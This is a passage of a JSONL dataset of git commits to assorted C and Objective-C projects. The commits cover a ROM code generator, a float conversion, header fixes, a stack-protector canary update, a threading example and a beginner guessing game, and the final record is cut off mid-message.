{"commit":"3706f0cdb921e128043dcb2c9c2017af237d44ae","old_file":"gen-system.c","new_file":"gen-system.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n\tprintf(\"#include <stdint.h>\\n\"\n\t       \"#include \\\"mako-vm.h\\\"\\n\"\n\t       \"char *argv0;\\n\"\n\t       \"int32_t mem[] = {\");\n\twhile(!feof(stdin)) {\n\t\tuint8_t buf[4];\n\t\tint n = fread(buf, sizeof *buf, 4, stdin);\n\t\tif(ferror(stdin)) goto onerr;\n\t\tif(n == 0) break;\n\t\tif(n != 4) {\n\t\t\tfprintf(stderr, \"%s: The file was invalid.\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tprintf(\"0x%04X,\", (int32_t)buf[0] << 24 | (int32_t)buf[1] << 16 | (int32_t)buf[2] << 8 | (int32_t)buf[3]);\n\t}\n\tprintf(\"0};\\n\"\n\t       \"int main(int argc, char **argv)\\n\"\n\t       \"{\\n\"\n\t       \"\\targv0 = argv[0];\\n\"\n\t       \"\\trun_vm(mem);\\n\"\n\t       \"}\\n\");\n\texit(0);\n\nonerr:\n\tperror(argv[0]);\n\texit(1);\n}\n","subject":"Add simple program to generate binaries with a baked-in ROM","message":"Add simple program to generate binaries with a baked-in ROM\n","lang":"C","license":"mit","repos":"pikhq\/cmako,pikhq\/cmako"}
{"commit":"6d34325292e78812b1ba06ebb711aa5941a2212a","old_file":"src\/soft\/float\/extenddftf2.c","new_file":"src\/soft\/float\/extenddftf2.c","old_contents":"","new_contents":"\/* This file is part of Metallic, a runtime library for WebAssembly.\n *\n * Copyright (C) 2018 Chen-Pang He <chen.pang.he@jdh8.org>\n *\n * This Source Code Form is subject to the terms of the Mozilla\n * Public License v. 2.0. If a copy of the MPL was not distributed\n * with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n#include \"..\/..\/math\/reinterpret.h\"\n#include \"..\/..\/math\/double\/normalize.h\"\n#include <math.h>\n#include <stdint.h>\n\nstatic __int128 _magnitude(int64_t i)\n{\n    if (i >= 0x7FF0000000000000)\n        return (__int128)0x78 << 120 | (__int128)i << 60;\n\n    return i ? ((__int128)0x3C << 120) + ((__int128)_normalize(i) << 60) : 0;\n}\n\nlong double __extenddftf2(double x)\n{\n    int64_t i = reinterpret(int64_t, fabs(x));\n\n    return copysignl(reinterpret(long double, _magnitude(i)), x);\n}\n","subject":"Implement double to long double conversion","message":"Implement double to long double conversion\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"73cfbf47cc0f13db91e461d98081503597d3d50b","old_file":"Kiwi\/KWFutureObject.h","new_file":"Kiwi\/KWFutureObject.h","old_contents":"\/\/\n\/\/  KWFutureObject.h\n\/\/  iOSFalconCore\n\/\/\n\/\/  Created by Luke Redpath on 13\/01\/2011.\n\/\/  Copyright 2011 LJR Software Limited. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef id (^KWFutureObjectBlock)(void);\n\n@interface KWFutureObject : NSObject {\n  __weak id *objectPointer;\n  KWFutureObjectBlock block;\n}\n+ (id)objectWithObjectPointer:(id *)pointer;\n+ (id)objectWithReturnValueOfBlock:(KWFutureObjectBlock)block;\n- (id)initWithObjectPointer:(id *)pointer;\n- (id)initWithBlock:(KWFutureObjectBlock)aBlock;\n- (id)object;\n@end\n","new_contents":"\/\/\n\/\/  KWFutureObject.h\n\/\/  iOSFalconCore\n\/\/\n\/\/  Created by Luke Redpath on 13\/01\/2011.\n\/\/  Copyright 2011 LJR Software Limited. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#ifdef __weak\n#undef __weak\n#define __weak __unsafe_unretained\n#endif\n\ntypedef id (^KWFutureObjectBlock)(void);\n\n@interface KWFutureObject : NSObject {\n  __weak id *objectPointer;\n  KWFutureObjectBlock block;\n}\n+ (id)objectWithObjectPointer:(id *)pointer;\n+ (id)objectWithReturnValueOfBlock:(KWFutureObjectBlock)block;\n- (id)initWithObjectPointer:(id *)pointer;\n- (id)initWithBlock:(KWFutureObjectBlock)aBlock;\n- (id)object;\n@end\n","subject":"Work arounf use of weak when deployment target it iOS 4","message":"Work arounf use of weak when deployment target it iOS 4\n","lang":"C","license":"bsd-3-clause","repos":"carezone\/Kiwi,carezone\/Kiwi,tcirwin\/Kiwi,TaemoonCho\/Kiwi,howandhao\/Kiwi,tcirwin\/Kiwi,unisontech\/Kiwi,tangwei6423471\/Kiwi,iosRookie\/Kiwi,TaemoonCho\/Kiwi,ecaselles\/Kiwi,indiegogo\/Kiwi,ashfurrow\/Kiwi,TaemoonCho\/Kiwi,unisontech\/Kiwi,LiuShulong\/Kiwi,weslindsay\/Kiwi,ecaselles\/Kiwi,depop\/Kiwi,JoistApp\/Kiwi,indiegogo\/Kiwi,iosRookie\/Kiwi,ecaselles\/Kiwi,alloy\/Kiwi,allending\/Kiwi,depop\/Kiwi,LiuShulong\/Kiwi,TaemoonCho\/Kiwi,hyperoslo\/Tusen,emodeqidao\/Kiwi,tcirwin\/Kiwi,howandhao\/Kiwi,emodeqidao\/Kiwi,PaulTaykalo\/Kiwi,emodeqidao\/Kiwi,tangwei6423471\/Kiwi,weslindsay\/Kiwi,tangwei6423471\/Kiwi,iosRookie\/Kiwi,PaulTaykalo\/Kiwi,tonyarnold\/Kiwi,PaulTaykalo\/Kiwi,hyperoslo\/Tusen,carezone\/Kiwi,JoistApp\/Kiwi,samkrishna\/Kiwi,cookov\/Kiwi,carezone\/Kiwi,tonyarnold\/Kiwi,PaulTaykalo\/Kiwi,alloy\/Kiwi,allending\/Kiwi,LiuShulong\/Kiwi,LiuShulong\/Kiwi,cookov\/Kiwi,tonyarnold\/Kiwi,hyperoslo\/Tusen,tonyarnold\/Kiwi,samkrishna\/Kiwi,tangwei6423471\/Kiwi,unisontech\/Kiwi,depop\/Kiwi,emodeqidao\/Kiwi,iosRookie\/Kiwi,JoistApp\/Kiwi,cookov\/Kiwi,samkrishna\/Kiwi,alloy\/Kiwi,howandhao\/Kiwi,ecaselles\/Kiwi,hyperoslo\/Tusen,unisontech\/Kiwi,ashfurrow\/Kiwi,ashfurrow\/Kiwi,indiegogo\/Kiwi,weslindsay\/Kiwi,JoistApp\/Kiwi,weslindsay\/Kiwi,howandhao\/Kiwi,indiegogo\/Kiwi,allending\/Kiwi,cookov\/Kiwi,allending\/Kiwi,depop\/Kiwi,samkrishna\/Kiwi,tcirwin\/Kiwi"}
{"commit":"6a5c8ff1c43fcd7ff227bd08b283f1d3d34d28d8","old_file":"cpu\/avr\/dev\/uart1.h","new_file":"cpu\/avr\/dev\/uart1.h","old_contents":"","new_contents":"\/*\n  Copied from mc1322x\/dev\/cpu. \n  \n  This file exists as a work-around for the hardware dependant calls\n  to slip_arch_init.\n\n  Current the prototype for slip_arch_init is slip_arch_init(urb)\n\n  and a typical call is something like\n  slip_arch_init(BAUD2URB(115200))\n\n  BAUD2UBR is hardware specific, however. Furthermore, for the sky\n  platform it's typically defined with #include \"dev\/uart1.h\" (see\n  rpl-boarder-router\/slip-bridge.c), a sky specific file. dev\/uart1.h\n  includes msp430.h which includes the sky contiki-conf.h which\n  defines BAUD2UBR.\n\n  To me, the correct think to pass is simply the baudrate and have the\n  hardware specific conversion happen inside slip_arch_init. \n\n  Notably, most implementations just ignore the passed parameter\n  anyway. (except AVR)\n  \n *\/\n\n#ifndef DEV_UART1_H\n#define DEV_UART1_H\n\n#define BAUD2UBR(x) x\n\n#endif\n","subject":"Include file needed for slip rpl-border-router build","message":"Include file needed for slip rpl-border-router build\n","lang":"C","license":"bsd-3-clause","repos":"bluerover\/6lbr,bluerover\/6lbr,arurke\/contiki,bluerover\/6lbr,bluerover\/6lbr,MohamedSeliem\/contiki,bluerover\/6lbr,MohamedSeliem\/contiki,MohamedSeliem\/contiki,arurke\/contiki,MohamedSeliem\/contiki,arurke\/contiki,arurke\/contiki,bluerover\/6lbr,bluerover\/6lbr,MohamedSeliem\/contiki,arurke\/contiki,MohamedSeliem\/contiki,arurke\/contiki,arurke\/contiki,MohamedSeliem\/contiki"}
{"commit":"9e03ac35be0c5cf0a420b529752bbde619d60bac","old_file":"src\/collectionhashing.h","new_file":"src\/collectionhashing.h","old_contents":"\/\/ Copyright (c) 2017-2019 The Swipp developers\n\/\/ Copyright (c) 2019-2020 The Neutron Developers\n\/\/\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING.daemon or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef NEUTRON_COLLECTIONHASHING_H\n#define NEUTRON_COLLECTIONHASHING_H\n\n#include <cstddef>\n#include <utility>\n#include <tr1\/functional>\n#include <boost\/functional\/hash.hpp>\n\n#include \"robinhood.h\"\n#include \"uint256.h\"\n\nnamespace std\n{\n    template<> struct hash<uint256>\n    {\n        size_t operator()(const uint256& v) const\n        {\n            return robin_hood::hash_bytes(v.begin(), v.size());\n        }\n    };\n}\n\n#endif\n","new_contents":"\/\/ Copyright (c) 2017-2019 The Swipp developers\n\/\/ Copyright (c) 2019-2020 The Neutron Developers\n\/\/\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING.daemon or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef NEUTRON_COLLECTIONHASHING_H\n#define NEUTRON_COLLECTIONHASHING_H\n\n#include <cstddef>\n#include <utility>\n#include <functional>\n#include <boost\/functional\/hash.hpp>\n\n#include \"robinhood.h\"\n#include \"uint256.h\"\n\nnamespace std\n{\n    template<> struct hash<uint256>\n    {\n        size_t operator()(const uint256& v) const\n        {\n            return robin_hood::hash_bytes(v.begin(), v.size());\n        }\n    };\n}\n\n#endif\n","subject":"Use <functional> instead of <tr\/functional>","message":"Use <functional> instead of <tr\/functional>\n\nThis is deprecated and adopted by the standard since a long time.\n","lang":"C","license":"mit","repos":"neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron"}
{"commit":"e7144a38b98164e74062c764747ce0ab1cbc514c","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\n#define NUMERO_DE_TENTATIVAS 5\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= NUMERO_DE_TENTATIVAS; i++) {\n\n    printf(\"Tentativa %d de %d\\n\", i, NUMERO_DE_TENTATIVAS);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    if(chute < 0) {\n      printf(\"Você não pode chutar números negativos!\\n\");\n      i--;\n\n      continue;\n    }\n\n    int acertou = chute == numerosecreto;\n    int maior = chute > numerosecreto;\n    int menor = chute < numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n\n      break;\n    }\n\n    else if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n  int tentativas = 1;\n\n  while(1) {\n\n    printf(\"Tentativa %d\\n\", tentativas);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    if(chute < 0) {\n      printf(\"Você não pode chutar números negativos!\\n\");\n      continue;\n    }\n\n    int acertou = chute == numerosecreto;\n    int maior = chute > numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n\n      break;\n    }\n\n    else if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n    tentativas++;\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n  printf(\"Você acertou em %d tentativas!\\n\", tentativas);\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.10","message":"Update files, Alura, Introdução a C, Aula 2.10\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"0205d0b2e73e5bda5c045ae31edd05d5b9b688ec","old_file":"ossfuzz\/matio_wrap.h","new_file":"ossfuzz\/matio_wrap.h","old_contents":"\/\/ Copyright 2019 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n\/\/ require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n\n#include \"matio.h\"\n\nint MatioRead(const char* file_name) {\n  mat_t* matfd = Mat_Open(file_name, MAT_ACC_RDONLY);\n  if (matfd == nullptr) {\n    return 0;\n  }\n\n  size_t n = 0;\n  Mat_GetDir(matfd, &n);\n  Mat_Rewind(matfd);\n\n  matvar_t* matvar = nullptr;\n  while ((matvar = Mat_VarReadNextInfo(matfd)) != nullptr) {\n    Mat_VarReadDataAll(matfd, matvar);\n    Mat_VarGetSize(matvar);\n    Mat_VarFree(matvar);\n  }\n\n  Mat_Close(matfd);\n\n  return 0;\n}\n","new_contents":"\/\/ Copyright 2019 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef MATIO_WRAP_H_\n#define MATIO_WRAP_H_\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n\n#include \"matio.h\"\n\nint MatioRead(const char* file_name) {\n  mat_t* matfd = Mat_Open(file_name, MAT_ACC_RDONLY);\n  if (matfd == nullptr) {\n    return 0;\n  }\n\n  size_t n = 0;\n  Mat_GetDir(matfd, &n);\n  Mat_Rewind(matfd);\n\n  matvar_t* matvar = nullptr;\n  while ((matvar = Mat_VarReadNextInfo(matfd)) != nullptr) {\n    Mat_VarReadDataAll(matfd, matvar);\n    Mat_VarGetSize(matvar);\n    Mat_VarFree(matvar);\n  }\n\n  Mat_Close(matfd);\n\n  return 0;\n}\n\n#endif\n","subject":"Remove comment and add include guard","message":"Remove comment and add include guard\n","lang":"C","license":"bsd-2-clause","repos":"tbeu\/matio,MaartenBent\/matio,tbeu\/matio,tbeu\/matio,MaartenBent\/matio,tbeu\/matio,MaartenBent\/matio,MaartenBent\/matio"}
{"commit":"980438ded0a0178799394a732c80c2d66817fe82","old_file":"xchainer\/cuda\/cuda_runtime.h","new_file":"xchainer\/cuda\/cuda_runtime.h","old_contents":"#pragma once\n\n#include <cuda_runtime.h>\n#include \"xchainer\/error.h\"\n\nnamespace xchainer {\nnamespace cuda {\n\nclass RuntimeError : public XchainerError {\npublic:\n    explicit RuntimeError(cudaError_t error);\n    cudaError_t error() const noexcept { return error_; }\n\nprivate:\n    cudaError_t error_;\n};\n\nvoid CheckError(cudaError_t error);\n\n\/\/ Occupancy\n#ifdef __CUDACC__\n\nstruct GridBlockSize {\n    int grid_size;\n    int block_size;\n};\n\ntemplate <typename T>\nGridBlockSize CudaOccupancyMaxPotentialBlockSize(T&& func, size_t dynamic_smem_size = 0, int block_size_limit = 0) {\n    GridBlockSize ret;\n    CheckError(\n        cudaOccupancyMaxPotentialBlockSize(&ret.grid_size, &ret.block_size, std::forward<T>(func), dynamic_smem_size, block_size_limit));\n    return ret;\n}\n\n#endif  \/\/ __CUDACC__\n\n}  \/\/ namespace cuda\n}  \/\/ namespace xchainer\n","new_contents":"#pragma once\n\n#include <cuda_runtime.h>\n#include \"xchainer\/error.h\"\n\nnamespace xchainer {\nnamespace cuda {\n\nclass RuntimeError : public XchainerError {\npublic:\n    explicit RuntimeError(cudaError_t error);\n    cudaError_t error() const noexcept { return error_; }\n\nprivate:\n    cudaError_t error_;\n};\n\nvoid CheckError(cudaError_t error);\n\n\/\/ Occupancy\n#ifdef __CUDACC__\n\nstruct GridBlockSize {\n    int grid_size;\n    int block_size;\n};\n\ntemplate <typename T>\nGridBlockSize CudaOccupancyMaxPotentialBlockSize(const T& func, size_t dynamic_smem_size = 0, int block_size_limit = 0) {\n    GridBlockSize ret = {};\n    CheckError(\n        cudaOccupancyMaxPotentialBlockSize(&ret.grid_size, &ret.block_size, func, dynamic_smem_size, block_size_limit));\n    return ret;\n}\n\n#endif  \/\/ __CUDACC__\n\n}  \/\/ namespace cuda\n}  \/\/ namespace xchainer\n","subject":"Use const T& instead of T&&","message":"Use const T& instead of T&&\n","lang":"C","license":"mit","repos":"tkerola\/chainer,hvy\/chainer,okuta\/chainer,pfnet\/chainer,ktnyt\/chainer,wkentaro\/chainer,niboshi\/chainer,okuta\/chainer,hvy\/chainer,hvy\/chainer,okuta\/chainer,wkentaro\/chainer,jnishi\/chainer,ktnyt\/chainer,hvy\/chainer,chainer\/chainer,keisuke-umezawa\/chainer,wkentaro\/chainer,niboshi\/chainer,jnishi\/chainer,jnishi\/chainer,keisuke-umezawa\/chainer,chainer\/chainer,niboshi\/chainer,keisuke-umezawa\/chainer,ktnyt\/chainer,niboshi\/chainer,ktnyt\/chainer,keisuke-umezawa\/chainer,jnishi\/chainer,wkentaro\/chainer,chainer\/chainer,okuta\/chainer,chainer\/chainer"}
{"commit":"07d0cafdf2018e8789e4e0671eb0ccc8bbc5c186","old_file":"contrib\/sendmail\/mail.local\/pathnames.h","new_file":"contrib\/sendmail\/mail.local\/pathnames.h","old_contents":"\/*-\n * Copyright (c) 1998 Sendmail, Inc.  All rights reserved.\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * By using this file, you agree to the terms and conditions set\n * forth in the LICENSE file which can be found at the top level of\n * the sendmail distribution.\n *\n *\n *\t@(#)pathnames.h\t8.5 (Berkeley) 5\/19\/1998\n *\/\n#include <paths.h>\n\n#define _PATH_LOCTMP\t\"\/tmp\/local.XXXXXX\"\n","new_contents":"\/*-\n * Copyright (c) 1998 Sendmail, Inc.  All rights reserved.\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * By using this file, you agree to the terms and conditions set\n * forth in the LICENSE file which can be found at the top level of\n * the sendmail distribution.\n *\n *\n *\t@(#)pathnames.h\t8.5 (Berkeley) 5\/19\/1998\n *\t$FreeBSD$\n *\/\n#include <paths.h>\n\n#define _PATH_LOCTMP\t\"\/var\/tmp\/local.XXXXXX\"\n","subject":"Change location of temporary file from \/tmp to \/var\/tmp. This is a repeat of an earlier commit which apparently got lost with the last import. It helps solve the frequently reported problem","message":"Change location of temporary file from \/tmp to \/var\/tmp.  This is a\nrepeat of an earlier commit which apparently got lost with the last\nimport.  It helps solve the frequently reported problem\n\n   pid 4032 (mail.local), uid 0 on \/: file system full\n\n(though there appears to be a lot of space) caused by idiots sending\n30 MB mail messages.\n\nMost-recently-reported-by:  jahanur <jahanur@jjsoft.com>\n\nAdd $FreeBSD$ so that I can check the file back in.\n\nRejected-by:\tCVS\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"83683ddd3d704e2d8c1fe9bef9eabb4639c0846a","old_file":"plat\/qemu\/common\/qemu_stack_protector.c","new_file":"plat\/qemu\/common\/qemu_stack_protector.c","old_contents":"\/*\n * Copyright (c) 2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <stdint.h>\n\n#include <arch_helpers.h>\n#include <plat\/common\/platform.h>\n\n#define RANDOM_CANARY_VALUE ((u_register_t) 3288484550995823360ULL)\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n\t\/*\n\t * Ideally, a random number should be returned instead of the\n\t * combination of a timer's value and a compile-time constant.\n\t * As the virt platform does not have any random number generator,\n\t * this is better than nothing but not necessarily really secure.\n\t *\/\n\treturn RANDOM_CANARY_VALUE ^ read_cntpct_el0();\n}\n\n","new_contents":"\/*\n * Copyright (c) 2021, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <stdint.h>\n\n#include <arch_helpers.h>\n#include <arch_features.h>\n#include <plat\/common\/platform.h>\n\n#define RANDOM_CANARY_VALUE ((u_register_t) 3288484550995823360ULL)\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n#if ENABLE_FEAT_RNG\n\t\/* Use the RNDR instruction if the CPU supports it *\/\n\tif (is_armv8_5_rng_present()) {\n\t\treturn read_rndr();\n\t}\n#endif\n\n\t\/*\n\t * Ideally, a random number should be returned above. If a random\n\t * number generator is not supported, return instead a\n\t * combination of a timer's value and a compile-time constant.\n\t * This is better than nothing but not necessarily really secure.\n\t *\/\n\treturn RANDOM_CANARY_VALUE ^ read_cntpct_el0();\n}\n\n","subject":"Use RNDR in stack protector","message":"plat\/qemu: Use RNDR in stack protector\n\nWhen getting a stack protector canary value, check\nif cpu supports FEAT_RNG and use that. Fallback to\nold method of using a (hardcoded value ^ timer).\n\nSigned-off-by: Tomas Pilar <2bc6038c3dfca09b2da23c8b6da8ba884dc2dcc2@nuviainc.com>\nChange-Id: I8181acf8e31661d4cc82bc3a4078f8751909e725\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"1cb3ecbcbd1267f8ad6d896c2a3bae9590f3e6c6","old_file":"print_numbers.c","new_file":"print_numbers.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <pthread.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <errno.h>\n#include <unistd.h>\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\npthread_cond_t condition = PTHREAD_COND_INITIALIZER;\n\nbool turn = true;\nint counter = 0;\n\nvoid* even_thread(void* arg)\n{\n\tdo\n\t{\n\t\tpthread_mutex_lock(&mutex);\n\t\tif (counter % 2 == 0)\n\t\t{\n\t\t\tpthread_cond_wait(&condition, &mutex);\n\t\t}\n\t\tfprintf(stdout, \"%d\\n\", counter);\n\t\tfflush(stdout);\n\t\tcounter++;\n\t\tpthread_cond_signal(&condition);\n\t\tpthread_mutex_unlock(&mutex);\n\t\tsleep(3);\n\t} while (1);\n}\n\nvoid* odd_thread(void* arg)\n{\n\tdo\n\t{\n\t\tpthread_mutex_lock(&mutex);\n\t\tif (counter % 2 != 0)\n\t\t{\n\t\t\tpthread_cond_wait(&condition, &mutex);\n\t\t}\n\t\tfprintf(stdout, \"%d\\n\", counter);\n\t\tfflush(stdout);\n\t\tcounter++;\n\t\tpthread_cond_signal(&condition);\n\t\tpthread_mutex_unlock(&mutex);\n\t\tsleep(1);\n\t} while (1);\n}\n\nint main(int argc, char** argv)\n{\n\tpthread_t odd_thr, even_thr;\n\n\tint rc = 0;\n\n\trc = pthread_create(&odd_thr, NULL, odd_thread, NULL);\n\n\tif (rc < 0)\n\t{\n\t\tfprintf(stderr, \"Error creating an odd thread! %d\\n\", errno);\n\t\tfflush(stderr);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\trc = pthread_create(&even_thr, NULL, even_thread, NULL);\n\n\tif (rc < 0)\n\t{\n\t\tfprintf(stderr, \"Error creating an even thread! %d\\n\", errno);\n\t\tfflush(stderr);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\trc = pthread_join(odd_thr, NULL);\n\n\tif (rc < 0)\n\t{\n\t\tfprintf(stderr, \"Error in pthread_join with odd thread! %d\\n\", errno);\n\t\tfflush(stderr);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\trc = pthread_join(even_thr, NULL);\n\n\tif (rc < 0)\n\t{\n\t\tfprintf(stderr, \"Error in pthread_join with even thread! %d\\n\", errno);\n\t\tfflush(stderr);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\treturn EXIT_SUCCESS;\n}","subject":"Add printing even and odd numbers in separate threads.","message":"Add printing even and odd numbers in separate threads.\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
{"commit":"55f424506979eb1eb19ce95dc3072daa51c74efb","old_file":"src\/serialize\/json\/string_jump_state.c","new_file":"src\/serialize\/json\/string_jump_state.c","old_contents":"","new_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <stddef.h>\n#include <string.h>\n\n#include \"serialize\/json\/keys.h\"\n#include \"serialize\/json\/states.h\"\n#include \"serialize\/json\/string_jump_state.h\"\n\n\/**\n * Map for mapping the current state with a string on the next state\n *\/\nstatic const struct {\n    enum json_backend_state current;\n    enum json_backend_state next;\n    const char* str;\n} MAP[] = {\n    { .current = STATE_MSG, .next = STATE_UID,      .str = UID          },\n    { .current = STATE_MSG, .next = STATE_TYPE,     .str = TYPE         },\n    { .current = STATE_MSG, .next = STATE_COMMANDS, .str = COMMANDS     },\n\n    { .str = NULL },\n};\n\n\/*\n *\n * Interface implementation\n *\n *\/\n\nenum json_backend_state\nget_next_state_for_string(\n    enum json_backend_state current,\n    const unsigned char * str\n) {\n    \/\/!< @todo implement\n    return 0;\n}\n","subject":"Add string jump state source file including stub","message":"Add string jump state source file including stub\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/waysome,waysome\/waysome"}
{"commit":"0ef9cdb035524ebd26d350b364bb4b1520343f97","old_file":"Clue\/Classes\/Protocols\/CLUInteractionObserverDelegate.h","new_file":"Clue\/Classes\/Protocols\/CLUInteractionObserverDelegate.h","old_contents":"\/\/\n\/\/  CLUInteractionObserver.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 6\/7\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n@protocol CLUInteractionObserverDelegate <NSObject>\n\n@required\n- (void)touchesBegan:(NSSet<UITouch *> *)touches;\n- (void)touchesMoved:(NSArray<UITouch *> *)touches;\n- (void)touchesEnded:(NSSet<UITouch *> *)touches;\n\n@end\n","new_contents":"\/\/\n\/\/  CLUInteractionObserver.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 6\/7\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"CLUTouch.h\"\n\n@protocol CLUInteractionObserverDelegate <NSObject>\n\n@required\n- (void)touchesBegan:(NSArray<CLUTouch *> *)touches;\n- (void)touchesMoved:(NSArray<CLUTouch *> *)touches;\n- (void)touchesEnded:(NSArray<CLUTouch *> *)touches;\n\n@end\n","subject":"Change Interaction Observer Delegate to use Clue Touch model and NSArray instead of NSSet","message":"Change Interaction Observer Delegate to use Clue Touch model and NSArray instead of 